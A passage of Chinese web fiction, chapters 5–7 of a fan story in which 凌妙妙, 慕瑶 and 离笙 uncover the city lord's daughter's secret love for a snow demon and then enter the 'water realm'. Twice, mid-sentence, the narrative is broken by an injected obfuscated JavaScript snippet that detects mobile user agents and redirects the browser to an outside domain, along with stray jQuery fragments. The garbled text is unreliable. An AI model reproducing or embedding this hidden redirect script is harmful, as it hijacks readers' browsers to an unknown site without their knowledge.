“先前在下听妙妙说过，慕公子如今的困境。离某不才，比慕公子虚长几岁，又是妙妙的好友，此番前来，在医道有些许研究，若是不嫌弃，在下愿助慕公子一臂之力……” “这里人多眼杂，我们先找个僻静的地儿好好谈谈罢。”凌妙妙拉着两人一块儿往小亭子走去。 夜色渐沉。 明月高悬于空中。 池水的荷花开得正好，不时还有夜游的鱼儿跃出水面偷了一抹月光后，便兴冲冲潜入水底。 “这远黛小姐如此喜好对镜梳妆打扮，在旁人瞧着并无异样，依我这几日察看，却道这里头大有文章。” “恕我直言，离公子并非女儿家，怎么会懂这其中的要紧？”慕瑶放下锦盒，指尖轻轻搭在了盒盖的边沿。 凌妙妙认同得连连点头，就是啊，女孩子爱美一点怎么了？ 离笙抬眼，望着空中的圆月，“时辰差不多了，还望二位随我走一趟。” 慕瑶和凌妙妙对视一眼，面色皆有异常。 就在这时，被凌妙妙重新别在腰间的香囊连续地晃动了几下，闪烁着许久不见的红光。 慕瑶讶然，看来阿声也觉得这其中有异常。 “那还等什么，快些去瞧瞧。”凌妙妙握紧了香囊，提起快要曳地的裙裾，踩着绣鞋几步并做一步匆忙地下了台阶。 慕瑶对此已经见怪不怪，妙妙一向在乎阿声有关的事情。 如此焦急的情态，倒让人有些心疼。 慕瑶无法想象若是柳拂衣成了颗珠子，她该有多煎熬，妙妙她……着实是个极为坚强的女子呢。 “啧──”妙妙扒着门缝，心情颇为沉重地摇了摇头。 这远黛小姐，成日照镜子，夜半 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而此刻，慕声那枚妖丹甚至还带动着香囊袋子一同浮动在了空中。 迷迷瞪瞪的凌妙妙在那一瞬间彻底清醒过来，吓得起身，伸手一把抓住要往外飞去的香囊。 “慕声，你怎么了？”凌妙妙呼吸紧促，眉心微蹙。 为什么今晚这般不对劲…… 难不成，是慕声这段时日里，发现什么异动了？ 思来想去片刻，凌妙妙不再犹豫，解下囊袋，重新摊开了手心。 跟着飞在空中的珠子起身，凌妙妙赤着足刚一落地，下定了决心般，作势便要跟着他一同出门。 哪知珠子却停在空中不动了。 凌妙妙歪头，越发不解。 慕声这……又是什么意思？ 只见珠子缓缓划过她的肩头，隔着单薄的寝衣布料滚动了一圈，随即又飞到了衣架上，落在了她临睡前解下的浅色上襦，紧接着又跳到了那条阔摆明艳的绯红外裙…… 凌妙妙瞧着此情此景，瞬间懂了。 就算变成珠子，他也还是带着那股子执拗劲。 穿好衣裙，系完最后一缕衣带，凌妙妙摊开双臂，“这下总可以了吧。” 珠子定定在空中悬浮了一会儿，忽而跃起，轻柔缱绻地拂过她披在肩上的长发，似在抚摸她的发梢。 动作温柔得让她不禁想起成婚后的那段时日，在床榻间，慕声那双手…… 以及她坐在镜子前，慕声亲手为她梳发，随后又认认真真告诉她，他喜欢她披着发的模样…… 包含期待和浓烈的爱意。 脑海中的一幅幅画面如同潮汐奔涌至眼前，凌妙妙鼻尖一酸，探指接住了那枚珠子，覆唇轻吻，“子期，真想快些，再见到你。” 不论是在太仓故作乖驯温良的鹅黄衣裳梳着马尾的少年，还是迫着她哄她成婚的慕子期，又或是与怨女纠缠时不顾一切扯开发带的，与她有三年之约夫君…… 凌妙妙想，不论是哪一个，都好，慕声，子期，从始至终，都是她在这世间独一无二的的心上人。 命运不公，却也怜悯，让她得着如今的好机会，她定要突破世间桎梏，再度与他重逢。 5. 细思极恐 昨夜，她跟慕声快步出了房门。 爬上屋檐后，凌妙妙便远远地瞧见了远黛小姐的门外，赫然站着一抹鬼鬼祟祟的身影。 那人，外披暗紫长褂，一袭素净的裙摆布料却也不是寻常嬷嬷能穿的，梳着低低的妇人髻，发间的金玉宝石配饰在月光下极为显眼。 光是略略一瞧，便是价格不菲的样式。 如此一个雍容华贵的妇人，会是何人呢？ 凌妙妙关于的回忆倏而中止，三人忽闻不远处传来一阵脚步声，忙身形一闪，齐齐猫着腰，藏匿到了花园的草圃后。 慕瑶和离笙静默地盯着门前那妇人，暗道，妙妙方才所言，果真不假。 只见那抹暗紫的身影微微俯身，正透过门缝朝里头探头探脑，此刻的情状，瞧着实在太过异常。 正当离笙要上前一步给她贴张听话符时，一个城主府丫鬟打扮的少女疾步赶来，焦急劝道：“夫人，夜深了，还是快些回去歇息罢。” 次日黄昏。 “夫人。” “刚熬好的，还不快些把药膳给小姐送去。免得凉了。”说话之人，正是他们昨夜见到的城主夫人。 离笙放下汤匙，拂过墨袖，指尖微弯，盯着桌上的青花瓷碗，笃定道：“汤没问题。” 眼前人不仅会画符纸，还善于辨别草药汤品…… 慕瑶微微凝眉，心中不由得怀疑他的来处。 凌妙妙挑了下眉梢，亦是纳罕，异典司到底是怎么挖到这样人才…… 凌妙妙随即瞟了眼碗中的药膳，指尖轻轻勾了勾腰间的香囊。 怎么会没有问题呢？ 慕瑶拂袖，轻声提醒道：“那丫鬟还在门口僵着呢。” 离笙随即起身，走到了门口那丫鬟跟前，将那舀了一勺的汤碗放回她手里的托盘之上，随即一把扯下她后背的听话符。 打了个响指的工夫，那道符在空中被燃尽。 与此同时，那丫鬟也恢复了清醒，有些讶然的视线轻轻地扫过眼前的三人。 “三位医师这是要做什么？” 丫鬟蹙紧眉头，颇为不解地望着他们。 “我们来找找远黛小姐，好了解她的病症。”凌妙妙先是趴在慕瑶左肩，眨巴眨巴眼，稍稍探头，继而整个人轻盈地走了出来，朝丫鬟笑得灿烂，颔首哄道：“劳烦姐姐行个方便。” 丫鬟平静地打量着凌妙妙那张极为友善的笑脸，瞬间松了防备。 又见她身后一男一女的容姿身段非同常人，尤其是那墨袍的少年，心头被他冷凝的眉眼又惊艳了几分； 见状，丫鬟的笑意毫不掩饰地堆砌在脸上，连连朝他们点头：“劳烦医师了，快些随我进来。” 丫鬟端着空碗和托盘出了房门，顺道把门关上。 远黛望着坐在圆桌前的三人，面色沉静，面上妍丽如同牡丹的妆容毫无瑕疵。 只见她眉眼弯弯，缓缓捻袖，盯着正坐在她对面的凌妙妙，随即柔声叹了一口气：“三位医师可见，我身子并无大碍，也不知父亲为何这般兴师动众……” 凌妙妙心中总算明了，这远黛小姐先前便是这般打发走上一批医师的。 “先前听闻城主夫人对小姐甚是关心……”慕瑶还没说完，便被远黛直接打断： “这位慕医师，城主夫人她虽不是我的亲生娘亲，但她待我无微不至，还望莫要轻信那外头的流言蜚语。” 远黛说话间，直起了瘦削的薄背，神情从方才那耷拉着脑袋显得慵懒贵气的猫儿样式，瞬间转换成一只充满防御状态的镶金兽。 “远黛小姐莫要误会，我们想要拜会城主夫人，但不知她平日行事如何，这才来向小姐讨教。”坐在一侧的离笙忽而开口解释，面色沉静，语气清和，让人不禁感慨好一位礼貌又斯文的翩翩少年郎。 凌妙妙瞥了眼身边墨袍少年那一本正经胡诌的模样，有些恍了神，忽地想起慕声先前在太仓那会儿也是这般乖驯的模样，生生哄瞒了旁人。 她垂手抚了抚腰间的香囊，确认那珠子尚在，心口不由得紧了紧。 ──慕声啊慕声，快些长大罢，眼前这个姓“离”的家伙的副业不愧是演员，顶着这张与慕声有九分相似的脸，对着旁人那演技快要以假乱真了啊。 “城主夫人她听闻我身子不适，近些天来，白日都会去后山的祠堂烧香，傍晚归来，特意去小厨房替我督促着药膳，有时还会亲自送来。”远黛说着，垂了垂眼，自腰间摘下一枚挂着穗子的浅粉袖囊，捏在指间。 “这是夫人为我求来的安睡符，我时刻戴在身边，也多亏有了它，我才能夜夜安眠。” 远黛此言一出，众人纷纷明了。 慕瑶眼中晃过一丝锐利，浅笑：“不知小姐可否予我们察看一番？” 远黛不解地望着慕瑶，“你们，还懂符咒？” 离笙拱袖，“略知一二。” 慕瑶轻轻点了点下巴。 凌妙妙顺势接上，“实不相瞒，我近日来也有些失眠，若是这般管用，我也去求上一求。” 远黛扬眉，眼中泛起一层薄雾，见凌妙妙这般灵动俏皮的模样，不忍道：“既如此，这符便赠与凌姑娘了。” 凌妙妙连忙挥手，“不成，此物乃城主夫人特意为你求来的，怎能轻易假手他人──”顿了顿，凌妙妙接收到了其余两人的眼神，瞬间明了，干笑了一声，双手接过：“不过既是远黛小姐的一番好意，我便感激不尽了。” 慕瑶扬唇，抬袖拉住了远黛的手，微微笑道：“多谢远黛小姐慷慨相赠。” 三人出了房门。 刚走到拱门，离笙便率先出声：“慕小姐──” “放心，你给我的那道符咒已然贴在她的袖内。” 凌妙妙恍然，这才相识多久，两人背着她，已然配合得这般默契了。 先前慕姐姐也只有同慕声这般…… 凌妙妙低垂着脑袋，撇了撇唇，心里忽而有些堵塞。 “妙妙，你那符咒快些拿给离公子瞧瞧。”慕瑶出声催促。 离笙集中精神来来回回察看了好几遍，才收手，却深深地皱紧了眉头。 不应当如此……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303235|167181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “可是有何不妥？”慕瑶不住地追问，眼角缀着的泪痣在霞光的装点下，皮肤白皙透亮，愈发显得容颜姣好，她的双眸在此刻更是添了几分难掩的希冀。 凌妙妙不等离笙回答，抢先一步上前，控诉：“不用想，远黛小姐这般神情恍惚，夜里照镜子痴笑，一定是那后娘的手段！” “哎呀，你在犹豫什么，快说啊。”凌妙妙有些急了，她想快些破了这案子，好早日拿到城主手里的土壤救慕声。 离笙犹豫罢，终还是开了口：“此符，并无异样。” “什么？”凌妙妙眼中波光涌动，身形一僵，瞬间噎住。 慕瑶面上亦是有了冷意，如同凝结了一层冰霜：“怎会如此──” 离笙背着手，绕着花坛走了几步，回顾先前的种种，阐述了自己的想法。 实际上，那城主夫人给她求来安睡的符咒，那药膳里头，的确也有安神助眠想功效。 至于祠堂，还有后山──应当也是掩人耳目，暗中让大夫给她开了安睡的药── 凌妙妙攥紧了手指，仍是不解，“如此说来，那她半夜鬼鬼祟祟在远黛小姐房前做什么？” “的确，若真是这般心疼远黛，这半夜的行踪着实诡谲──”慕瑶附和，肯定了凌妙妙出口的质疑。 离笙抱臂，挑了下眉梢，淡定地注视着眼前的凌妙妙。 注意到他那与慕声极为相似的逼人的眼神，凌妙妙感受到那股扑面而来的熟悉味道，就好像慕声此刻站在她面前，耐心引导她思考── 不成不成，她强迫自个儿沉下心来，保持清醒。 “或许，这城主夫人，半夜担心远黛的安危，想看看她是不是睡得好了些……”凌妙妙试探开口。 慕瑶眸光轻微波动了一下，此言也不无道理。 离笙无声地勾了下嘴角，眼眸如同曜石般的瞳仁越发幽深。 抬袖，拉起了凌妙妙的手，慕瑶温声建议：“妙妙，不若我们今晚再探探虚实？” 凌妙妙用力地点点头，“慕姐姐和我想到一处去了。” 慕瑶挽着凌妙妙往前走，随后又扭头朝身后几步远的离笙道：“离公子，快些跟上罢。” 凌妙妙却埋头拉着慕瑶加快往前走，语气有些忿忿然，“慕姐姐，你为何待他态度这般亲近了？” 他只是长得像慕声，又不是真的慕声。 慕瑶见她这般不愉，心知她对阿声的情谊，无奈地拍了拍她的手背，面上笑容温婉地安抚道：“别紧张，我总觉得，离公子与阿声，定有些不可分割的渊源。” 凌妙妙骇然，慕姐姐她怎能这样想呢？ 慕声，子期，是全世界独一无二的存在，谁都不能是他的替代品。 再说了，慕声也没有同胞的弟弟啊…… 等等…… 该不会…… 这家伙，真是慕声在另外一个平行时空的兄长吧…… 被这个恐怖的想法惊到，凌妙妙顿时毛骨悚然，背后发凉。 杵在背后的少年幽幽出声，“妙妙，我们聊聊？” 6. 发现端倪 6发现端倪 傍晚的亭子里静谧非常，隔着亭檐还能望见远山那飘飞的烟霞。 “妙妙，你是不是，发现了什么？” 离笙一脸肃然，骤然欺近她。 凌妙妙扭过头，仍在置气，“别用慕声的脸这般对我说话。” “这有什么，这副壳子本就是──”离笙抬手抚了抚后脑勺，复又以拳抵唇，佯装清嗓。 “你说什么？”凌妙妙倏地转身，敏锐地捕捉到他眼里刻意的躲闪。 “咳咳咳。”离笙有意隐瞒些什么，想要别过眼去。 凌妙妙一把拽下腰间工牌，拔高了声音威胁：“你说不说？不说我就去异典司找许主任！” “我先前熬夜拍戏，意外猝死，原本的那副壳子已经不能用了。”离笙顿了顿，额上有冷汗滑落，他眼帘微掀：“再次醒来，我也不知道为什么，就见到了许主任──” 也就是说，这一切，都是许主任的计划── 凌妙妙回过神，气得跺脚，拎起裙摆跳下台阶，“啊，好气，我这就找他要个说法！” “妙妙！你先冷静一点！”离笙伸手勾住了她的飘飞的发绳。 “你这个家伙，鸠占鹊巢，倒是心安理得的很。”凌妙妙长发一甩，气鼓鼓瞪着他，冷声质问：“你让我怎么冷静？”受害的人是她的夫君啊！ “别着急，你听我说。”离笙用了些巧力，把她摁回了桌前坐下。 离笙短短的叙述中，凌妙妙了解到了不少的信息量。 ──慕声先前从怨女遭遇了那一遭，本就是抱着必死的心志去的。 ──而后慕声彻底丧失了意志，混入了时空裂隙，强大的漩涡流把肉身和妖丹分离，许主任巡视位面时，发现了这一点，就立马出手了，换而言之，目前为止，能在混沌中保住他的妖丹，已是不易。 ──至于慕声的肉身，也需要有灵魂作为支撑，不然身处异时空的时间过长，就容易损坏，甚至成为灰烬。 “许主任之所以瞒着你这样做，也是为了给彻底复活慕声争取时间……” “我不听我不听，你快点把慕声的壳子还给他！”凌妙妙满脑子现在都是眼前人里头是个冒牌货的bug。 “等拿到了土壤，就，就能重塑我原来的壳子了，我现在就是暂住一下，你，你不要再摇了！” “啊啊啊啊啊，你还我完完整整的慕声来！”抓着离笙的领子，凌妙妙怒不可遏。 凌妙妙极少失控，但在关于她要守护所爱的人之事，便是例外。 “够了！”一个清冷的女声，带着镇定山河之势，自亭阶传来。 “慕，慕姐姐……”凌妙妙收了手，愣愣望着拾阶而上的慕瑶。 离笙抚了抚喉结，方才在凌妙妙手下被施了蛮力的领子紧紧勒住，呛得双颊通红。 慕姐姐刚刚听到了吗？她听到了多少？凌妙妙此刻的心再度被吊到了嗓子眼。 “你们所说的，我都听见了。” 慕瑶冷静地坐在石凳上，面上被清冷的月光照得皮肤透亮，泪痣在眼角泛着冷意。 凌妙妙坐回慕瑶身边，绷紧了神经，一时不知该如何开口，心里慌乱得很。 慕瑶握住了凌妙妙的掌心，“妙妙，刚刚离公子也解释过了，若非慕阿声的躯壳有新代替的灵魂撑着，不日便会在异时空化为灰烬。如今耽误之急，并非追究其对错，而是尽快恢复阿声的神智，好让他快些归位。” 离笙点点头，举起三根手指，信誓旦旦表态声明：“许主任也对我保证过了，新的壳子在赶工，我马上就能换回去了。在我眼里，慕声就是救过我命的好弟弟，我绝不会让他有事！” 凌妙妙看向眼前的墨袍“少年”的目光变得极为复杂。 里头是一个离开了壳子无处安身的灵魂“离笙”，外头是一个失去神智等待妖丹被重新唤醒的躯壳“慕声”。 这怪异的组合…… 不过慕姐姐说得对，当务之急得赶紧做任务，彻底唤醒妖丹，让慕声早点回到壳子里…… 不然，要是许主任把离笙的新壳子提前做好了，他倒是拍拍屁股回家了，那慕声的壳子就有危险了。 凌妙妙皱紧眉头，上上下下扫视着离笙的外壳，语气极为恶狠狠地嘱咐：“你当心一点，不准磕到碰到分毫！” 离笙半倾身伏案，叹了口气，挥了挥手，“知道了知道了。” 慕瑶掩袖，补充道：“我了解妙妙的性子，离公子的确得加以小心。”不然磕坏了阿声的壳子，妙妙真的会和离笙拼命的。 连慕瑶都这样说了，离笙这才意识到这并非小事，当即麻溜地点头应下。 见状，凌妙妙才勉强重新恢复冷静，迅速起身，拉着慕瑶，催促：“快些走罢，用过晚饭，我们还得去蹲点呢。” 月上中庭。 树梢下的三人身形一动，疾步上前。 “城主夫人。” 闻声，妇人衣着暗紫的身影一僵，随即要往前走，却被凌妙妙挡在前头。 侧过身要往右边去，却与一袭蓝衣的慕瑶对视。 她再度朝一侧扭头，对上了离笙的黑曜石般沉着雾气的眼眸。 眼前的妇人，端的是一副忧心忡忡的面容。 三人将她逼退至门框，直到妇人退无可退。 院中树下的石桌前，围坐了四人。 “夫人夜半如此行径，可还有话要说？” 园中夏花绚烂，浮动着沁人心脾的暗香。 城主夫人沉吟片刻，终是缓缓出声：“我将黛儿视如己出，各位莫要误会，我绝无任何加害之意。” 凌妙妙攥紧了腰间的香囊，指尖滑动了一下发亮的珠子，追道：“夫人的确是关心小姐的，又是求符上香，又是贴送药膳，只不过，夫人若真为远黛小姐着想，可否不再隐瞒其中原委？” 城主夫人惊愕抬首。众人皆以为后娘定是不会善待继女，唯有眼前的少女这般为她着想！ “远黛小姐这般好似魔怔的模样，夫人当真心疼，或许我们能相助一二。”慕瑶搭上了城主夫人的袖子，轻声相劝。 城主夫人垂了垂眼，眼角泛了些许泪光。 “只需，夫人点头。”离笙添了最后一把火。 城主夫人再度低垂着头，深深地叹了口气，吞吞吐吐道：“兴许，兴许与七月洞有关……” “七月洞？”三人不禁齐齐出声。 “多的我不便再说，你们若是想知道，去看看便是。”话音未落，城主夫人倏地起身出逃，脚步匆忙得紧。 见她那般狼狈，凌妙妙本想上前去追，却被慕瑶摁住了手背。 凌妙妙很是不解地回过头。 慕瑶和离笙则不约而同地朝她摇了摇头。 凌妙妙撅着唇，忿忿然坐下，事情才刚有眉目，怎么如此轻易放人走。 但她随即转念一想，此时惊扰了那城主夫人，若她有意作恶，回去定会严加防范，而今晚他们有没有找到关于城主夫人加害远黛的任何证据。 思及如此，凌妙妙的眼中越发懊丧。 离笙从袖内取出一本厚厚的册子，淡然道：“这是我来金城之前，从异典司顺走的金城妖物集锦。” “有了！”天色发亮，凌妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303236|167181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙捧着册子，兴奋的目光紧紧锁在书页的最末端。 慕瑶忍着困意，将自个儿手里的册子翻到了最后一页，随即眼睛亮了亮，“我也找到了。” 离笙合上书卷，起身走到二人中间，看了眼二人手里的东西，拍板，“事不宜迟，赶紧出发。” 根据图上的指引，三人小心翼翼穿过层层秘境，最终来到了雨林。 “为什么不往前走，快些找到眉黛笔，我们才能解了远黛小姐的病症……” 凌妙妙看着左右两个呆住的人，困惑不已。 慕瑶随即拽了下凌妙妙的袖子，示意她噤声。 “滴答……” “滴答……” 好似水珠砸在草叶的声响。 凌妙妙眨了眨眼，这声音，像是从右侧传来的。 离笙抬手，指了指右前方的林木，“对，往那走。” 看着眼前石头堆砌而成的洞门，冲在最前头的凌妙妙忽而一顿，止步不前。 “七月洞。”后头的慕瑶念出了洞穴上沿的字迹。 离笙环顾四周，望了眼寒气逼人的洞口，心中已然明了。 他们要找的制作眉黛笔的特殊的粉末，在七月洞。 七月本该是酷暑，那洞窟却是寒霜冰冻，骇人得很。 而且冰块堆砌的门洞厚实无比，想要进去，简直举步维艰。 “有了。” 凌妙妙沉默了片刻，忽而出声，继而示意二人往后避开些，她深深地了口气，继而挥舞着手臂，手势异常熟练。 “炸火花，破！” 轰然间，火光迸溅，厚重的山洞震荡不已。 大型的冰块应声碎裂成了许多细小冰块，融成了水流，自洞内徐缓地流淌而出。 不远处的慕瑶一愣，混乱间，先是下意识往旁边的离笙那边望去，随即才肯定了是妙妙所为。 只是她何时将这技艺运用得这般娴熟了…… 慕瑶心中惊骇，自个儿先前为何不曾知晓？ 凌妙妙脱力得跌坐在地，倾身喘了口气，随即朝二人招手，“快，快些进去。” 慕瑶紧步赶上，暗暗感慨，能让妙妙这般勇敢的挑战本心的，也只有阿声可以做到了。 “你们是何人？”一个极为冰冷的男声从寒潭里传来，带着凛然的杀意。 下一瞬，冰窟的墙上便飞来数十道尖锐的冰柱。 慕瑶和离笙纷纷抽剑挡在了凌妙妙身前。 不一会儿，断裂的冰柱掉落在光滑的冰道上，碎裂成了同门口那些冰块一般大小，砸出了刺耳的声响。 凌妙妙揉了揉难受的耳朵。 “小心！”离笙一把拉着凌妙妙往后躲闪。 慕瑶则挡在了前头，随即长剑翻飞，不少的冰柱仍是透过缝隙狠狠扎在了墙壁上。 凌妙妙抽了口气，如果离笙刚刚没有出手把她拽走，那些冰柱子肯定在自己身上了。 “你你，你怎么样了？”凌妙妙紧张无比地扫视着一旁的离笙。 离笙抿了抿唇，红了耳梢，声音有些低沉：“没，没事。” “给我看看！”凌妙妙直接上手，抬起他的胳膊好好检查了一番。 “都说了，没事了。”离笙的声音越来越小，眼中却是涌动了些许暖意。 凌妙妙长舒一口气，神情如释重负：“还好，慕声的壳子没有受伤。” 离笙：……这个女人连装都不装了吗？ “何人擅闯此地，不知道我此生最痛恨在人前卿卿我我的臭情侣吗？” 一抹利落的白色魅影自寒潭飞起，朝三人跃身而来。 7. 完结章 7完结章 “这就是……传说中的……金城的雪妖？”凌妙妙打量着眼前浑身通白的雪发男子，愣了神。 “与你何干？你又是何人，胆敢直呼我的名讳……唔！”雪发男子刚落地，就被定住了般，动弹不得。 “闭嘴！聒噪得很。”收回定身符的离笙撇了撇唇，很是烦躁，训斥道：“就算是雪妖，也不能没有礼貌打断别人说话。” 那雪妖眸光闪动，顷刻间，寒窟震荡不已。 眼看着入口就要被积雪堵住，凌妙妙颇不耐烦伸手，一把撕下雪妖的定身符。 “罢了，各退一步。如何？” 凌厉的风雪骤歇，四周忽的寂静无比。 只有风吹过飘雪的微弱笙箫。 雪妖狭长的眼眸中晃过一丝恸然，“你们究竟是何人，为何身上有……她的气息？” 慕瑶坐在冰台边，“敢问，阁下所说的她……可是远黛小姐？” 雪妖蓦然抬首，幽蓝的眼珠在眼眶里滚了一圈，喉间有些哽咽，“你们果然，认识她。” “你想见她的话，我们可以帮你。”凌妙妙坐在冰台的另一侧，手里捏着块小巧的冰雕，微微转动了一圈。 那是枚花骨朵，样式与远黛院子里种的花一模一样。 雪妖支起上半身，忽地又垂下头去，“没用的。我出不去。” “城主大人在此地施了阵法。” “可恶！怎能如此！”凌妙妙听完雪妖─解释，心中忿忿不平。 ──城主为了不让雪妖和远黛小姐见面，竟联络了术士将他终生囚困于此。 “你若再不见她，怕是再难无机会了。”凌妙妙瞥了眼身边的离笙，垂眼，颇为无奈开口。 雪妖拂袖，冰制的桌案险些被他掀翻，他沉声，语气紧迫：“姑娘此言何意？” 远黛暗中服用了剧毒的迷心花，失了心智，得知真相的城主夫人于心不忍，求来药粉制成药汤缓解药性。 凌妙妙加快语速，决定把这段时日在府院中观察到的真相长话短说。 雪妖听得直皱眉头，袖内的手紧攥成拳，额侧的经络隐隐跳动。 “难为她拖到如今……只怕是，命不久矣。”凌妙妙继续道，紧接着摇了摇头。 “远黛她一直在等你。”慕瑶随即补充道。 闻言，雪妖陡然间慌了神，幽蓝的眼中恍惚不已，泛白的唇止不住地喃喃：“原来她并非变心……” 当初他与远黛月下立誓，若非不已的缘故，二人不能在一起，便服用迷心花，方可在梦中赴会…… 远黛她竟一直记得…… 明明，是他一时冲动之言，她却信了…… 雪妖心中悔恨不已，眼中瞬间淌下冰痕，嗓音隐隐发抖，几乎是从喉间挤出的悔意：“劳烦诸位，助我出去。” 凌妙妙伸手，摊开掌心，“先给我们要的粉末。” “这……”雪妖眼中涌动了些许波澜，如同潮水般浮现了冷意。 “放心，我们说到做到。”离笙变戏法般，不知从哪里掏出来的断月剪。 “这！”凌妙妙大惊。 “别紧张，这是被异典司改良过的。”离笙淡定解释道。 身后的慕瑶亦是默默收敛了异色，接过了雪妖递来的果子。 “把这些磨成粉，便能得到你们想要的。”慕瑶回忆先前书中的记载，信心满满，“交给我吧。”她应该可以制成。 慕瑶连续熬了几个日夜，在更换下一批医师来园时，眉黛笔总算制好了。 城主的千金终究还是香消玉殒了。 城主坐在灵堂前，眉目发愣，发间的白鬓越发深了，“是为父错了。黛儿，你回来好不好……” “你若是要与那妖物在一处，只要他不伤你，为父便随了你。” “黛儿，你睁开眼，看看我……” 慕瑶等医师被遣送出府前，人群中的凌妙妙望向管家，恳切求道：“先前远黛小姐待我这般好，如今可否容我等前去吊唁？” “且容我向城主通报一声。”管家一脸为难。 “管家。你且随他们去。”说话的，正是路过的城主夫人； 本是美艳的妇人，如今一袭麻布白衣，脸色憔悴，眼睛发肿，泛着红意，声音轻弱无力，被丫鬟堪堪扶着，整个人显然因着远黛的事情伤心过度。 灵堂门前，城主冷下脸，“你们要什么？” “先前城主大人告示所承诺的，金城的土。”凌妙妙直言不讳。 城主偏嗤一声，明显不信，语气阴森，“来此地的外城人都想要金子，偏偏你们要那地土？” “慕姐姐，我们走罢。”凌妙妙拉着慕瑶便要往院外走去。 “且慢。”城主夫人追上前，赔了个笑脸，试图好言相劝：“若你们真的可以让黛儿起死回生，城主大人定会说话算话。” 城主大人听见这话，绷紧了脸，不再多言，被城主夫人强扶着棺沿起身，愣是给三人腾出了位置。 慕瑶随即掏出了袖内的眉黛笔。 动手之前，凌妙妙出声：“若是远黛小姐真的醒了，城主可愿顺了她的心意。” “这……”城主的胳膊被城主夫人狠狠拧了把，他不由得皱了皱眉。 “那是自然，城主大人言出必行。有劳三位了。”城主夫人毫不犹豫抢话。 夜深了。 院子里的花被一阵寒风拂过。 房门乍开。 放下镜子，施了红妆的远黛起身，眸光闪动，宛若沉寂的雪谷里径流潺潺，唇启，缓缓道：“郎君──是你吗？” 夏日余晖撒在河面，闷热的气息被风驱散，坐着船驶离了金城河畔，慕瑶和离笙远远望着那雪妖和远黛双双携手入山林的背影，随即满意地转过身。 “妙妙呢？”慕瑶蹙眉，疑惑。 离笙颔首，抱臂，酸溜溜道：“呐，在那儿给我的慕声弟弟挖土呢。” 凌妙妙坐在船尾，低头捧着一盆土，里头躺着一枚半透明红珠。 合适的土壤总算有了，凌妙妙长叹一声： “慕声，你再等等，我和慕姐姐马上去城里给你找水源。” 刚好，先前离笙给慕瑶的符咒上面显示，柳大哥也在那城里。 “慕声，等找到柳大哥，我们几个很快就能团聚了。” 一路上，凌妙妙捧着盆土，对着慕声的妖丹絮絮叨叨，不厌其烦。 日光浮动，将那枚珠子照得越发耀眼，凌妙妙挂坐在船边，搭在船板的亮色裙袂飞扬，足尖轻点水面。 水波澹澹，不时有河鱼游动，随着船流聚拢。 渐渐的，平静的水面形成了湍急的漩涡。 “慕姐姐！”凌妙妙意识到了不对劲，倏地跳将起来。 “妙妙，抓紧我！”慕瑶的声音渐渐飘远。 “咕噜咕噜──” 凌妙妙身形一晃，被卷入了涡流，连续呛了好几口水。 不知过了多久，她才重新恢复了意识。 深呼吸，艰难睁开眼，对上的是茫茫的星空，凌妙妙愣了愣。 她这是……在哪儿？ 指尖触及到的是绵软缜密的……黄沙？ 凌妙妙盯着指缝间不断漏下的沙粒，困惑不已。 【叮──欢迎来到水域。】 水域？ 凌妙妙坐起身，揉了揉发酸的脖颈，瞥了眼一旁圆盆的土里静卧的那枚半透明红珠，不由得舒了口气，还好慕声的妖丹没事儿。 她环顾四周，扶了扶快要掉下来的下巴，这满眼的茫茫黄沙…… 系统告诉她，这儿──便是水域？ 凌妙妙的嘴角抽了抽，眼皮连跟着跳了好几下。 【叮──请收集到充足的水分，助力妖丹的复原。】 凌妙妙捧着圆盆起身，脸色沉静，当务之急，得先和慕姐姐他们会合。 毕竟，慕声的壳子还在离笙那儿，可不能有所闪失。 她匆匆打开香囊袋，取出了离笙离开金城时给自己的联络符，以防万一，遇到危险，她谨慎的又重新把妖丹放了回去，紧接着把圆盆收入从离笙那儿顺过来的微型收纳盒里。 做完一切以后，她才开始用联络符。 “慕姐姐。” “妙妙，是你么？”对方那头显然带着欣喜。 凌妙妙摁了摁心口，总算联系上了，踏实许多，“慕姐姐，你和离笙在一起吗？” “对，我们找到拂衣了。”慕瑶的语调拔高了些许，听得出来她很是高兴。 这时离笙的声音加了进来： “速来，我们在水域关旁的柳畔。” 凌妙妙摘下腰间的异典司工牌，打开了许主任让技术部门不久前新升级的原地传送功能。 望着水域关那一潭深渊，边沿种满了柳树，凌妙妙噎了下，随即奔向其中一棵树下的男女。 “柳大哥呢？”凌妙妙左顾右盼，也没有瞧见慕瑶身后有多余的男子，尤其是柳大哥的身高，根本不可能被慕瑶挡住。 一旁的离笙清了清嗓子，抬眼示意慕瑶身后。 凌妙妙深吸一口气，走近那棵枝繁叶茂的柳树，想伸手触碰又默默缩了回来，她干笑了一声，颇为局促道：“不，不会吧？” “而且──还检测到了妖气。”慕瑶眼中的担忧如同夜空的点墨，渐渐变得幽深。 “不过，我们倒是挖到了这个。”离笙蓦地出声。 与此同时，慕瑶手里那顶让人眼熟的九玄收妖塔赫然映入眼帘。 凌妙妙：……挖？ 她下意识瞥了眼柳树埋根的土壤，果不其然，旁边不远处就有一个刚被刨过的深坑。 “你们如何得知这便是柳大哥？”凌妙妙蹙眉，始终存疑。 “沙沙……” 四周平静无风，其余的柳树安然无恙，偏偏眼前的柳条晃动不已。 见此情状，凌妙妙忍不住呛了一下，到底是怎么回事？ “眼下，也只有混入水域才能知晓了。”慕瑶望向平静的深潭，语气比夜色冰凉。 